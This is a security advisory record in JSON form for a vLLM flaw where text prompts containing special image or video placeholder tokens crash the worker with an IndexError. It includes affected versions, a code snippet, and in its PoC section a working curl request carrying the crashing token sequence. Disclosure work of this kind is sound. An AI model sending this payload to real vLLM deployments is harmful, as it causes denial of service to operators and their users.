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{"schema_version":"1.9.0","id":"GHSA-hpv8-x276-m59f","published":"2026-05-05T22:21:41Z","modified":"2026-09-10T03:51:05.984430278Z","aliases":["CVE-2026-44222","PYSEC-2026-3409"],"summary":"vLLM Vulnerable to Remote DoS via Special-Token Placeholders","details":"## Summary\nThis report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on `image_grid_thw`/`video_grid_thw` are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.\n\n## Details\n- Affected component: multimodal input position computation.\n- File/functions (paths are indicative):\n - vllm/model_executor/layers/rotary_embedding.py\n - get_input_positions_tensor(...)\n - _vl_get_input_positions_tensor(...)\n- Failure mechanism:\n - The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.\n - When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.\n\nRepresentative snippet (context):\n```python\n# vllm/model_executor/layers/rotary_embedding.py\n@classmethod\ndef _vl_get_input_positions_tensor(\n cls,\n input_tokens,\n hf_config,\n image_grid_thw,\n video_grid_thw,\n ...,\n):\n # detect video tokens\n video_nums = (vision_tokens == video_token_id).sum()\n # later in processing\n t, h, w = (\n video_grid_thw[video_index][0], # IndexError if no video data\n video_grid_thw[video_index][1],\n video_grid_thw[video_index][2],\n )\n```\n\nAbbreviated call path:\n```\nOpenAI API request\n → vllm.v1.engine.core: step/execute_model\n → vllm.v1.worker.gpu_model_runner: _update_states/execute_model\n → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor\n → _vl_get_input_positions_tensor\n → IndexError: list index out of range\n```\n\n## PoC\n### Environment\n- vLLM: 0.10.0\n- Model: Qwen/Qwen2.5-VL-3B-Instruct\n- Launch server:\n```bash\npython -m vllm.entrypoints.openai.api_server \\\n --model Qwen/Qwen2.5-VL-3B-Instruct \\\n --port 8000\n```\n\n### Request (text-only, no image/video data)\n```bash\ncat > request.json <<'JSON'\n{\n \"model\": \"Qwen/Qwen2.5-VL-3B-Instruct\",\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n { \"type\": \"text\",\n \"text\": \"what's in picture <|vision_start|><|image_pad|><|vision_end|>\" }\n ]\n }\n ]\n}\nJSON\n\ncurl -s http://127.0.0.1:8000/v1/chat/completions \\\n -H 'Content-Type: application/json' \\\n --data @request.json\n```\n\n### Observed result\n- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).\n- In some deployments, the worker exits and capacity remains reduced until manual restart.\n\n## Impact\n- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.\n- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).\n- Effect: Request → unhandled exception in position computation → worker termination / service unavailability.\n\n## Fixes\n\n* Changes associated with https://github.com/vllm-project/vllm/issues/32656\n\n## Credits\nPengyu Ding (Infra Security, Ant Group) \nZiteng Xu (Infra Security, Ant Group)","affected":[{"package":{"name":"vllm","ecosystem":"PyPI","purl":"pkg:pypi/vllm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.1"},{"fixed":"0.20.0"}]}],"versions":["0.10.0","0.10.1","0.10.1.1","0.10.2","0.11.0","0.11.1","0.11.2","0.12.0","0.13.0","0.14.0","0.14.1","0.15.0","0.15.1","0.16.0","0.17.0","0.17.1","0.18.0","0.18.1","0.19.0","0.19.1","0.6.1","0.6.1.post1","0.6.1.post2","0.6.2","0.6.3","0.6.3.post1","0.6.4","0.6.4.post1","0.6.5","0.6.6","0.6.6.post1","0.7.0","0.7.1","0.7.2","0.7.3","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.5.post1","0.9.0","0.9.0.1","0.9.1","0.9.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-hpv8-x276-m59f/GHSA-hpv8-x276-m59f.json"}}],"references":[{"type":"WEB","url":"https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44222"},{"type":"WEB","url":"https://github.com/vllm-project/vllm/issues/32656"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hpv8-x276-m59f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3409.yaml"},{"type":"PACKAGE","url":"https://github.com/vllm-project/vllm"},{"type":"WEB","url":"https://pypi.org/project/vllm"}],"database_specific":{"cwe_ids":["CWE-129"],"github_reviewed":true,"github_reviewed_at":"2026-05-05T22:21:41Z","nvd_published_at":"2026-05-12T20:16:43Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}]} |